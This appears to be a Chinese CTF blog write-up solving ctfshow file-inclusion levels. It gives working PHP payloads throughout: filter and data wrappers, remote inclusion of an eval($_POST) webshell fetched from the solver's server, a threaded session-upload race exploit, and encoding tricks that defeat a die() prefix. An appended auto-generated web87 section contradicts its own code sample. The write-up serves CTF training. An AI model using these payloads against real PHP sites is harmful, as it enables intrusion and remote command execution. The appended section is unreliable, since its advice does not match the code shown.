CTFSHOW web入门 文件包含篇

本文详细介绍了PHP中的多种安全漏洞利用方法,包括filter伪协议、data伪协议、远程文件包含、日志包含等,并展示了如何通过base64编码、rot13编码等方式绕过死亡die。此外,还探讨了绕过过滤机制的其他编码技术,如UCS-2LE/UCS-2BE转换。文章最后给出了实际案例,演示了如何利用这些技巧进行文件包含攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web78

filter伪协议
payload
file=php://filter/convert.base64-encode/resource=flag.php
解码后得到flag

web79

data伪协议
payload

file=data://text/plain,<?=`tac f*`;?>

web80

远程文件包含
xxx为自己服务器地址
?file=http://xxxx/shell.txt
shell.txt中内容
<?php eval($_POST[1]);?>

web81

日志包含
首先在UA头里面写入一句话
在这里插入图片描述
接着包含日志文件并利用一句话
在这里插入图片描述

web82-86

参考链接
https://www.freebuf.com/vuls/202819.html
exp

import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080/"
url2='http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=/tmp/sess_'+sess
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
	'1':'system("cat f*");'
}
file={
	'file':'abc'
}
cookies={
	'PHPSESSID': sess
}
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'ctfshow{' in r.text:
			print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

web87

绕过死亡die
文件名可以通过两次url全编码绕过。
因为前面有die,所以我们后面直接写php内容会起不到作用。
1、base64编码绕过

payload

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
// file=php://filter/write=convert.base64-decode/resource=a.php
POST
content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=="<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>"
base64 44位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。
//content=<?php eval($_POST[1]);

2、rot13编码绕过
payload

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
POST
content=<?cuc riny($_CBFG[1]);
//content=<?php eval($_POST[1]);

web88

data伪协议base64编码绕过
payload

?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw
PD9waHAgZXZhbCgkX1BPU1RbMV0pOw是<?php eval($_POST[1]); base64编码

web116

下载下来视频,然后用010editor可以看到里面有一张图片,提取出来发现源码。
是一个文件包含。
如下图所示
在这里插入图片描述
过滤了很多协议和编码方式,但其实都是摆设,因为用的是file_get_contents所以,直接 输入file=flag.php就可以过了。
payload:file=flag.php

web117

function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

考察点:绕过死亡die
题目中过滤了很多协议和编码方式,但是除了我们常用的base64和rot13还是有很多方法可以绕过die的
更多编码方式
这是取一个 UCS-2LE UCS-2BE

payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

这种是将字符两位两位进行交换
大家可以自行测试如下代码

echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?');

输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid(e;)>?<?php eval($_POST[1]);?>
### CTFShow Web 入门 文件包含 第87关 解题思路 #### 关键点分析 在Web87关中,代码逻辑如下: 当`$_GET['file']`存在时,变量$file获取该参数值。随后,$file会经过一系列替换操作,将字符串中的特定字符替换成"???",具体包括:"php"、"data"、":" 和 "."[^4]。 ```php if (isset($_GET['file'])) { $file = $_GET['file']; $content = $_POST['content']; // 替换敏感字符 $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>". $content); } ``` #### 利用方式探讨 为了绕过这些过滤条件并实现文件写入,可以考虑利用URL编码以及PHP伪协议之外的方式来进行攻击向量的设计。注意到这里的过滤主要是针对常见的危险字符和关键字进行了简单替换处理,因此可以通过构造特殊的路径表达形式来规避检测。 一种可能的方法是通过相对路径或绝对路径指定目标位置,并且巧妙地避开被替换的关键字。例如,如果服务器配置允许的话,尝试使用类似于`/var/www/html/./test.txt`这样的路径格式可能会有效果,其中"."会被保留而不是被替换掉。 另外需要注意的是,最终要写入的内容将会附加一段固定的PHP代码片段,这表明即使成功创建了一个新的脚本文件,在执行之前也需要想办法移除这段干扰性的语句才能达到预期效果。 #### 实践建议 实际测试过程中应当先了解清楚环境的具体情况,比如默认的工作目录是什么样的结构;是否有其他安全机制如open_basedir限制等会影响此漏洞的利用效率。同时也要注意平台对于不同操作系统之间路径分隔符差异的支持程度[^5]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值